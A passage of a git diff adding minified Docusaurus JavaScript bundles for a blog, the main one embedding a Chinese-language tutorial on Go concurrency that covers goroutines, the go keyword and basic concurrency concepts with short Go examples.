t=n.p+"assets/images/image-20251110163819728-5acc22b6bb0071c0568cc4eaa646092b.png"},92443:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110163049139-580fb3b0d1cf1c1916c11b84746c0a14.png"}}]); \ No newline at end of file diff --git a/en/assets/js/6a1ebd87.9d2ebddd.js b/en/assets/js/6a1ebd87.9d2ebddd.js new file mode 100644 index 0000000..0476e28 --- /dev/null +++ b/en/assets/js/6a1ebd87.9d2ebddd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[587],{18370:(n,e,t)=>{t.d(e,{A:()=>c});const c=t.p+"assets/images/goroutine01-e1a5a5dccac6ecb497a276573cc980bb.png"},28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>s});var c=t(96540);const i={},r=c.createContext(i);function l(n){const e=c.useContext(r);return c.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function s(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:l(n.components),c.createElement(r.Provider,{value:e},n.children)}},52164:(n,e,t)=>{t.d(e,{A:()=>c});const c=t.p+"assets/images/channel-3d053a51058db1c2b1158df9e145c8a7.png"},64931:(n,e,t)=>{t.d(e,{A:()=>c});const c=t.p+"assets/images/gpm-8e3f557669920ed58500ad3b70df57a2.png"},82905:(n,e,t)=>{t.d(e,{A:()=>c});const c=t.p+"assets/images/goroutine02-c842afde30abb657301cdcdd67eaa846.png"},91505:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>o,contentTitle:()=>s,default:()=>h,frontMatter:()=>l,metadata:()=>c,toc:()=>d});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1","description":"\u5e76\u53d1\u7f16\u7a0b\u5728\u5f53\u524d\u8f6f\u4ef6\u9886\u57df\u662f\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\uff0c\u968f\u7740CPU\u7b49\u786c\u4ef6\u7684\u53d1\u5c55\uff0c\u6211\u4eec\u65e0\u4e00\u4f8b\u5916\u7684\u60f3\u8ba9\u6211\u4eec\u7684\u7a0b\u5e8f\u8fd0\u884c\u7684\u5feb\u4e00\u70b9\u3001\u518d\u5feb\u4e00\u70b9\u3002Go\u8bed\u8a00\u5728\u8bed\u8a00\u5c42\u9762\u5929\u751f\u652f\u6301\u5e76\u53d1\uff0c\u5145\u5206\u5229\u7528\u73b0\u4ee3CPU\u7684\u591a\u6838\u4f18\u52bf\uff0c\u8fd9\u4e5f\u662fGo\u8bed\u8a00\u80fd\u591f\u5927\u8303\u56f4\u6d41\u884c\u7684\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u539f\u56e0\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/18.GoLang-\u5e76\u53d1.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/18.GoLang-\u5e76\u53d1.md","tags":[],"version":"current","sidebarPosition":18,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b"}}');var i=t(74848),r=t(28453);const l={},s="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1",o={},d=[{value:"\u57fa\u672c\u6982\u5ff5",id:"\u57fa\u672c\u6982\u5ff5",level:2},{value:"\u4e32\u884c\u3001\u5e76\u53d1\u4e0e\u5e76\u884c",id:"\u4e32\u884c\u5e76\u53d1\u4e0e\u5e76\u884c",level:3},{value:"\u8fdb\u7a0b\u3001\u7ebf\u7a0b\u548c\u534f\u7a0b",id:"\u8fdb\u7a0b\u7ebf\u7a0b\u548c\u534f\u7a0b",level:3},{value:"\u5e76\u53d1\u6a21\u578b",id:"\u5e76\u53d1\u6a21\u578b",level:3},{value:"goroutine",id:"goroutine",level:2},{value:"go\u5173\u952e\u5b57",id:"go\u5173\u952e\u5b57",level:3},{value:"\u542f\u52a8\u5355\u4e2agoroutine",id:"\u542f\u52a8\u5355\u4e2agoroutine",level:3},{value:"\u542f\u52a8\u591a\u4e2agoroutine",id:"\u542f\u52a8\u591a\u4e2agoroutine",level:3},{value:"\u52a8\u6001\u6808",id:"\u52a8\u6001\u6808",level:3},{value:"goroutine\u8c03\u5ea6",id:"goroutine\u8c03\u5ea6",level:3},{value:"GOMAXPROCS",id:"gomaxprocs",level:3},{value:"\u7ec3\u4e60\u9898",id:"\u7ec3\u4e60\u9898",level:3},{value:"channel",id:"channel",level:2},{value:"channel\u7c7b\u578b",id:"channel\u7c7b\u578b",level:3},{value:"channel\u96f6\u503c",id:"channel\u96f6\u503c",level:3},{value:"\u521d\u59cb\u5316channel",id:"\u521d\u59cb\u5316channel",level:3},{value:"channel\u64cd\u4f5c",id:"channel\u64cd\u4f5c",level:3},{value:"\u53d1\u9001",id:"\u53d1\u9001",level:4},{value:"\u63a5\u6536",id:"\u63a5\u6536",level:4},{value:"\u5173\u95ed",id:"\u5173\u95ed",level:4},{value:"\u65e0\u7f13\u51b2\u7684\u901a\u9053",id:"\u65e0\u7f13\u51b2\u7684\u901a\u9053",level:3},{value:"\u6709\u7f13\u51b2\u7684\u901a\u9053",id:"\u6709\u7f13\u51b2\u7684\u901a\u9053",level:3},{value:"\u591a\u8fd4\u56de\u503c\u6a21\u5f0f",id:"\u591a\u8fd4\u56de\u503c\u6a21\u5f0f",level:3},{value:"for range\u63a5\u6536\u503c",id:"for-range\u63a5\u6536\u503c",level:3},{value:"\u5355\u5411\u901a\u9053",id:"\u5355\u5411\u901a\u9053",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:3},{value:"select\u591a\u8def\u590d\u7528",id:"select\u591a\u8def\u590d\u7528",level:2},{value:"\u901a\u9053\u8bef\u7528\u793a\u4f8b",id:"\u901a\u9053\u8bef\u7528\u793a\u4f8b",level:2},{value:"\u793a\u4f8b1",id:"\u793a\u4f8b1",level:4},{value:"\u793a\u4f8b2",id:"\u793a\u4f8b2",level:4},{value:"\u5e76\u53d1\u5b89\u5168\u548c\u9501",id:"\u5e76\u53d1\u5b89\u5168\u548c\u9501",level:2},{value:"\u4e92\u65a5\u9501",id:"\u4e92\u65a5\u9501",level:3},{value:"\u8bfb\u5199\u4e92\u65a5\u9501",id:"\u8bfb\u5199\u4e92\u65a5\u9501",level:3},{value:"sync.WaitGroup",id:"syncwaitgroup",level:3},{value:"sync.Once",id:"synconce",level:3},{value:"\u52a0\u8f7d\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b",id:"\u52a0\u8f7d\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b",level:4},{value:"\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f",id:"\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f",level:4},{value:"sync.Map",id:"syncmap",level:3},{value:"\u539f\u5b50\u64cd\u4f5c",id:"\u539f\u5b50\u64cd\u4f5c",level:2},{value:"atomic\u5305",id:"atomic\u5305",level:3},{value:"\u793a\u4f8b",id:"\u793a\u4f8b",level:3}];function a(n){const e={code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1"})}),"\n",(0,i.jsx)(e.p,{children:"\u5e76\u53d1\u7f16\u7a0b\u5728\u5f53\u524d\u8f6f\u4ef6\u9886\u57df\u662f\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\uff0c\u968f\u7740CPU\u7b49\u786c\u4ef6\u7684\u53d1\u5c55\uff0c\u6211\u4eec\u65e0\u4e00\u4f8b\u5916\u7684\u60f3\u8ba9\u6211\u4eec\u7684\u7a0b\u5e8f\u8fd0\u884c\u7684\u5feb\u4e00\u70b9\u3001\u518d\u5feb\u4e00\u70b9\u3002Go\u8bed\u8a00\u5728\u8bed\u8a00\u5c42\u9762\u5929\u751f\u652f\u6301\u5e76\u53d1\uff0c\u5145\u5206\u5229\u7528\u73b0\u4ee3CPU\u7684\u591a\u6838\u4f18\u52bf\uff0c\u8fd9\u4e5f\u662fGo\u8bed\u8a00\u80fd\u591f\u5927\u8303\u56f4\u6d41\u884c\u7684\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u539f\u56e0\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"\u57fa\u672c\u6982\u5ff5",children:"\u57fa\u672c\u6982\u5ff5"}),"\n",(0,i.jsx)(e.p,{children:"\u9996\u5148\u6211\u4eec\u5148\u6765\u4e86\u89e3\u51e0\u4e2a\u4e0e\u5e76\u53d1\u7f16\u7a0b\u76f8\u5173\u7684\u57fa\u672c\u6982\u5ff5\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u4e32\u884c\u5e76\u53d1\u4e0e\u5e76\u884c",children:"\u4e32\u884c\u3001\u5e76\u53d1\u4e0e\u5e76\u884c"}),"\n",(0,i.jsx)(e.p,{children:"\u4e32\u884c\uff1a\u6211\u4eec\u90fd\u662f\u5148\u8bfb\u5c0f\u5b66\uff0c\u5c0f\u5b66\u6bd5\u4e1a\u540e\u518d\u8bfb\u521d\u4e2d\uff0c\u8bfb\u5b8c\u521d\u4e2d\u518d\u8bfb\u9ad8\u4e2d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5e76\u53d1\uff1a\u540c\u4e00\u65f6\u95f4\u6bb5\u5185\u6267\u884c\u591a\u4e2a\u4efb\u52a1\uff08\u4f60\u5728\u7528\u5fae\u4fe1\u548c\u4e24\u4e2a\u5973\u670b\u53cb\u804a\u5929\uff09\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5e76\u884c\uff1a\u540c\u4e00\u65f6\u523b\u6267\u884c\u591a\u4e2a\u4efb\u52a1\uff08\u4f60\u548c\u4f60\u670b\u53cb\u90fd\u5728\u7528\u5fae\u4fe1\u548c\u5973\u670b\u53cb\u804a\u5929\uff09\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u8fdb\u7a0b\u7ebf\u7a0b\u548c\u534f\u7a0b",children:"\u8fdb\u7a0b\u3001\u7ebf\u7a0b\u548c\u534f\u7a0b"}),"\n",(0,i.jsx)(e.p,{children:"\u8fdb\u7a0b\uff08process\uff09\uff1a\u7a0b\u5e8f\u5728\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u7684\u4e00\u6b21\u6267\u884c\u8fc7\u7a0b\uff0c\u7cfb\u7edf\u8fdb\u884c\u8d44\u6e90\u5206\u914d\u548c\u8c03\u5ea6\u7684\u4e00\u4e2a\u72ec\u7acb\u5355\u4f4d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7ebf\u7a0b\uff08thread\uff09\uff1a\u64cd\u4f5c\u7cfb\u7edf\u57fa\u4e8e\u8fdb\u7a0b\u5f00\u542f\u7684\u8f7b\u91cf\u7ea7\u8fdb\u7a0b\uff0c\u662f\u64cd\u4f5c\u7cfb\u7edf\u8c03\u5ea6\u6267\u884c\u7684\u6700\u5c0f\u5355\u4f4d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u534f\u7a0b\uff08coroutine\uff09\uff1a\u975e\u64cd\u4f5c\u7cfb\u7edf\u63d0\u4f9b\u800c\u662f\u7531\u7528\u6237\u81ea\u884c\u521b\u5efa\u548c\u63a7\u5236\u7684\u7528\u6237\u6001\u2018\u7ebf\u7a0b\u2019\uff0c\u6bd4\u7ebf\u7a0b\u66f4\u8f7b\u91cf\u7ea7\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u5e76\u53d1\u6a21\u578b",children:"\u5e76\u53d1\u6a21\u578b"}),"\n",(0,i.jsx)(e.p,{children:"\u4e1a\u754c\u5c06\u5982\u4f55\u5b9e\u73b0\u5e76\u53d1\u7f16\u7a0b\u603b\u7ed3\u5f52\u7eb3\u4e3a\u5404\u5f0f\u5404\u6837\u7684\u5e76\u53d1\u6a21\u578b\uff0c\u5e38\u89c1\u7684\u5e76\u53d1\u6a21\u578b\u6709\u4ee5\u4e0b\u51e0\u79cd\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u7ebf\u7a0b&\u9501\u6a21\u578b"}),"\n",(0,i.jsx)(e.li,{children:"Actor\u6a21\u578b"}),"\n",(0,i.jsx)(e.li,{children:"CSP\u6a21\u578b"}),"\n",(0,i.jsx)(e.li,{children:"Fork&Join\u6a21\u578b"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u5e76\u53d1\u7a0b\u5e8f\u4e3b\u8981\u662f\u901a\u8fc7\u57fa\u4e8eCSP\uff08communicating sequential processes\uff09\u7684goroutine\u548cchannel\u6765\u5b9e\u73b0\uff0c\u5f53\u7136\u4e5f\u652f\u6301\u4f7f\u7528\u4f20\u7edf\u7684\u591a\u7ebf\u7a0b\u5171\u4eab\u5185\u5b58\u7684\u5e76\u53d1\u65b9\u5f0f\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"goroutine",children:"goroutine"}),"\n",(0,i.jsx)(e.p,{children:"Goroutine \u662f Go \u8bed\u8a00\u652f\u6301\u5e76\u53d1\u7684\u6838\u5fc3\uff0c\u5728\u4e00\u4e2aGo\u7a0b\u5e8f\u4e2d\u540c\u65f6\u521b\u5efa\u6210\u767e\u4e0a\u5343\u4e2agoroutine\u662f\u975e\u5e38\u666e\u904d\u7684\uff0c\u4e00\u4e2agoroutine\u4f1a\u4ee5\u4e00\u4e2a\u5f88\u5c0f\u7684\u6808\u5f00\u59cb\u5176\u751f\u547d\u5468\u671f\uff0c\u4e00\u822c\u53ea\u9700\u89812KB\u3002\u533a\u522b\u4e8e\u64cd\u4f5c\u7cfb\u7edf\u7ebf\u7a0b\u7531\u7cfb\u7edf\u5185\u6838\u8fdb\u884c\u8c03\u5ea6\uff0c goroutine \u662f\u7531Go\u8fd0\u884c\u65f6\uff08runtime\uff09\u8d1f\u8d23\u8c03\u5ea6\u3002\u4f8b\u5982Go\u8fd0\u884c\u65f6\u4f1a\u667a\u80fd\u5730\u5c06 m\u4e2agoroutine \u5408\u7406\u5730\u5206\u914d\u7ed9n\u4e2a\u64cd\u4f5c\u7cfb\u7edf\u7ebf\u7a0b\uff0c\u5b9e\u73b0\u7c7b\u4f3cm:n\u7684\u8c03\u5ea6\u673a\u5236\uff0c\u4e0d\u518d\u9700\u8981Go\u5f00\u53d1\u8005\u81ea\u884c\u5728\u4ee3\u7801\u5c42\u9762\u7ef4\u62a4\u4e00\u4e2a\u7ebf\u7a0b\u6c60\u3002"}),"\n",(0,i.jsx)(e.p,{children:"Goroutine \u662f Go \u7a0b\u5e8f\u4e2d\u6700\u57fa\u672c\u7684\u5e76\u53d1\u6267\u884c\u5355\u5143\u3002\u6bcf\u4e00\u4e2a Go \u7a0b\u5e8f\u90fd\u81f3\u5c11\u5305\u542b\u4e00\u4e2a goroutine\u2014\u2014main goroutine\uff0c\u5f53 Go \u7a0b\u5e8f\u542f\u52a8\u65f6\u5b83\u4f1a\u81ea\u52a8\u521b\u5efa\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5728Go\u8bed\u8a00\u7f16\u7a0b\u4e2d\u4f60\u4e0d\u9700\u8981\u53bb\u81ea\u5df1\u5199\u8fdb\u7a0b\u3001\u7ebf\u7a0b\u3001\u534f\u7a0b\uff0c\u4f60\u7684\u6280\u80fd\u5305\u91cc\u53ea\u6709\u4e00\u4e2a\u6280\u80fd\u2014\u2014goroutine\uff0c\u5f53\u4f60\u9700\u8981\u8ba9\u67d0\u4e2a\u4efb\u52a1\u5e76\u53d1\u6267\u884c\u7684\u65f6\u5019\uff0c\u4f60\u53ea\u9700\u8981\u628a\u8fd9\u4e2a\u4efb\u52a1\u5305\u88c5\u6210\u4e00\u4e2a\u51fd\u6570\uff0c\u5f00\u542f\u4e00\u4e2a goroutine \u53bb\u6267\u884c\u8fd9\u4e2a\u51fd\u6570\u5c31\u53ef\u4ee5\u4e86\uff0c\u5c31\u662f\u8fd9\u4e48\u7b80\u5355\u7c97\u66b4\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"go\u5173\u952e\u5b57",children:"go\u5173\u952e\u5b57"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u4f7f\u7528 goroutine \u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u51fd\u6570\u6216\u65b9\u6cd5\u8c03\u7528\u524d\u52a0\u4e0a",(0,i.jsx)(e.code,{children:"go"}),"\u5173\u952e\u5b57\u5c31\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a goroutine \uff0c\u4ece\u800c\u8ba9\u8be5\u51fd\u6570\u6216\u65b9\u6cd5\u5728\u65b0\u521b\u5efa\u7684 goroutine \u4e2d\u6267\u884c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"go f() // \u521b\u5efa\u4e00\u4e2a\u65b0\u7684 goroutine \u8fd0\u884c\u51fd\u6570f\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u533f\u540d\u51fd\u6570\u4e5f\u652f\u6301\u4f7f\u7528",(0,i.jsx)(e.code,{children:"go"}),"\u5173\u952e\u5b57\u521b\u5efa goroutine \u53bb\u6267\u884c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"go func(){\n // ...\n}()\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u4e2a goroutine \u5fc5\u5b9a\u5bf9\u5e94\u4e00\u4e2a\u51fd\u6570/\u65b9\u6cd5\uff0c\u53ef\u4ee5\u521b\u5efa\u591a\u4e2a goroutine \u53bb\u6267\u884c\u76f8\u540c\u7684\u51fd\u6570/\u65b9\u6cd5\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u542f\u52a8\u5355\u4e2agoroutine",children:"\u542f\u52a8\u5355\u4e2agoroutine"}),"\n",(0,i.jsxs)(e.p,{children:["\u542f\u52a8 goroutine \u7684\u65b9\u5f0f\u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u8c03\u7528\u51fd\u6570\uff08\u666e\u901a\u51fd\u6570\u548c\u533f\u540d\u51fd\u6570\uff09\u524d\u52a0\u4e0a\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"go"}),"\u5173\u952e\u5b57\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e2a\u5728 main \u51fd\u6570\u4e2d\u6267\u884c\u666e\u901a\u51fd\u6570\u8c03\u7528\u7684\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n)\n\nfunc hello() {\n\tfmt.Println("hello")\n}\n\nfunc main() {\n\thello()\n\tfmt.Println("\u4f60\u597d")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u5f97\u5230\u7684\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"hello\n\u4f60\u597d\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4ee3\u7801\u4e2d hello \u51fd\u6570\u548c\u5176\u540e\u9762\u7684\u6253\u5370\u8bed\u53e5\u662f\u4e32\u884c\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"main goroutine",src:t(18370).A+"",width:"222",height:"462"})}),"\n",(0,i.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u5728\u8c03\u7528 hello \u51fd\u6570\u524d\u9762\u52a0\u4e0a\u5173\u952e\u5b57",(0,i.jsx)(e.code,{children:"go"}),"\uff0c\u4e5f\u5c31\u662f\u542f\u52a8\u4e00\u4e2a goroutine \u53bb\u6267\u884c hello \u8fd9\u4e2a\u51fd\u6570\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tgo hello() // \u542f\u52a8\u53e6\u5916\u4e00\u4e2agoroutine\u53bb\u6267\u884chello\u51fd\u6570\n\tfmt.Println("main goroutine done!")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e0a\u8ff0\u4ee3\u7801\u91cd\u65b0\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u5f97\u5230\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"\u4f60\u597d\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u4e00\u6b21\u7684\u6267\u884c\u7ed3\u679c\u53ea\u5728\u7ec8\u7aef\u6253\u5370\u4e86\u201d\u4f60\u597d\u201d\uff0c\u5e76\u6ca1\u6709\u6253\u5370 ",(0,i.jsx)(e.code,{children:"hello"}),"\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u5b9e\u5728 Go \u7a0b\u5e8f\u542f\u52a8\u65f6\uff0cGo \u7a0b\u5e8f\u5c31\u4f1a\u4e3a main \u51fd\u6570\u521b\u5efa\u4e00\u4e2a\u9ed8\u8ba4\u7684 goroutine \u3002\u5728\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\u6211\u4eec\u5728 main \u51fd\u6570\u4e2d\u4f7f\u7528 go \u5173\u952e\u5b57\u521b\u5efa\u4e86\u53e6\u5916\u4e00\u4e2a goroutine \u53bb\u6267\u884c hello \u51fd\u6570\uff0c\u800c\u6b64\u65f6 main goroutine \u8fd8\u5728\u7ee7\u7eed\u5f80\u4e0b\u6267\u884c\uff0c\u6211\u4eec\u7684\u7a0b\u5e8f\u4e2d\u6b64\u65f6\u5b58\u5728\u4e24\u4e2a\u5e76\u53d1\u6267\u884c\u7684 goroutine\u3002\u5f53 main \u51fd\u6570\u7ed3\u675f\u65f6\u6574\u4e2a\u7a0b\u5e8f\u4e5f\u5c31\u7ed3\u675f\u4e86\uff0c\u540c\u65f6 main goroutine \u4e5f\u7ed3\u675f\u4e86\uff0c\u6240\u6709\u7531 main goroutine \u521b\u5efa\u7684 goroutine \u4e5f\u4f1a\u4e00\u540c\u9000\u51fa\u3002\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u7684 main \u51fd\u6570\u9000\u51fa\u592a\u5feb\uff0c\u53e6\u5916\u4e00\u4e2a goroutine \u4e2d\u7684\u51fd\u6570\u8fd8\u672a\u6267\u884c\u5b8c\u7a0b\u5e8f\u5c31\u9000\u51fa\u4e86\uff0c\u5bfc\u81f4\u672a\u6253\u5370\u51fa\u201chello\u201d\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:"main goroutine \u5c31\u50cf\u662f\u300a\u6743\u5229\u7684\u6e38\u620f\u300b\u4e2d\u7684\u591c\u738b\uff0c\u5176\u4ed6\u7684 goroutine \u90fd\u662f\u591c\u738b\u8f6c\u5316\u51fa\u7684\u5f02\u9b3c\uff0c\u591c\u738b\u4e00\u6b7b\u5b83\u8f6c\u5316\u7684\u90a3\u4e9b\u5f02\u9b3c\u4e5f\u5c31\u5168\u90e8GG\u4e86\u3002"})}),"\n",(0,i.jsx)(e.p,{children:"\u6240\u4ee5\u6211\u4eec\u8981\u60f3\u529e\u6cd5\u8ba9 main \u51fd\u6570\u2018\u201c\u7b49\u4e00\u7b49\u201d\u5c06\u5728\u53e6\u4e00\u4e2a goroutine \u4e2d\u8fd0\u884c\u7684 hello \u51fd\u6570\u3002\u5176\u4e2d\u6700\u7b80\u5355\u7c97\u66b4\u7684\u65b9\u5f0f\u5c31\u662f\u5728 main \u51fd\u6570\u4e2d\u201ctime.Sleep\u201d\u4e00\u79d2\u949f\u4e86\uff08\u8fd9\u91cc\u76841\u79d2\u949f\u53ea\u662f\u6211\u4eec\u4e3a\u4e86\u4fdd\u8bc1\u65b0\u7684 goroutine \u80fd\u591f\u88ab\u6b63\u5e38\u521b\u5efa\u548c\u6267\u884c\u800c\u8bbe\u7f6e\u7684\u4e00\u4e2a\u503c\uff09\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u6309\u5982\u4e0b\u65b9\u5f0f\u4fee\u6539\u6211\u4eec\u7684\u793a\u4f8b\u4ee3\u7801\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"time"\n)\n\nfunc hello() {\n\tfmt.Println("hello")\n}\n\nfunc main() {\n\tgo hello()\n\tfmt.Println("\u4f60\u597d")\n\ttime.Sleep(time.Second)\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u6211\u4eec\u7684\u7a0b\u5e8f\u91cd\u65b0\u7f16\u8bd1\u540e\u518d\u6b21\u6267\u884c\uff0c\u7a0b\u5e8f\u4f1a\u5728\u7ec8\u7aef\u8f93\u51fa\u5982\u4e0b\u7ed3\u679c\uff0c\u5e76\u4e14\u4f1a\u77ed\u6682\u505c\u987f\u4e00\u4f1a\u513f\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"\u4f60\u597d\nhello\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4e3a\u4ec0\u4e48\u4f1a\u5148\u6253\u5370",(0,i.jsx)(e.code,{children:"\u4f60\u597d"}),"\u5462\uff1f"]}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u662f\u56e0\u4e3a\u5728\u7a0b\u5e8f\u4e2d\u521b\u5efa goroutine \u6267\u884c\u51fd\u6570\u9700\u8981\u4e00\u5b9a\u7684\u5f00\u9500\uff0c\u800c\u4e0e\u6b64\u540c\u65f6 main \u51fd\u6570\u6240\u5728\u7684 goroutine \u662f\u7ee7\u7eed\u6267\u884c\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"main goroutine\u548chello goorutine",src:t(82905).A+"",width:"412",height:"462"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u4e0a\u9762\u7684\u7a0b\u5e8f\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"time.Sleep"}),"\u8ba9 main goroutine \u7b49\u5f85 hello goroutine\u6267\u884c\u7ed3\u675f\u662f\u4e0d\u4f18\u96c5\u7684\uff0c\u5f53\u7136\u4e5f\u662f\u4e0d\u51c6\u786e\u7684\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["Go \u8bed\u8a00\u4e2d\u901a\u8fc7",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u4e9b\u5e38\u7528\u7684\u5e76\u53d1\u539f\u8bed\uff0c\u6211\u4eec\u4f1a\u5728\u540e\u9762\u7684\u5c0f\u8282\u5355\u72ec\u4ecb\u7ecd",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u7684\u5185\u5bb9\u3002\u5728\u8fd9\u4e00\u5c0f\u8282\uff0c\u6211\u4eec\u4f1a\u5148\u4ecb\u7ecd\u4e00\u4e0b sync 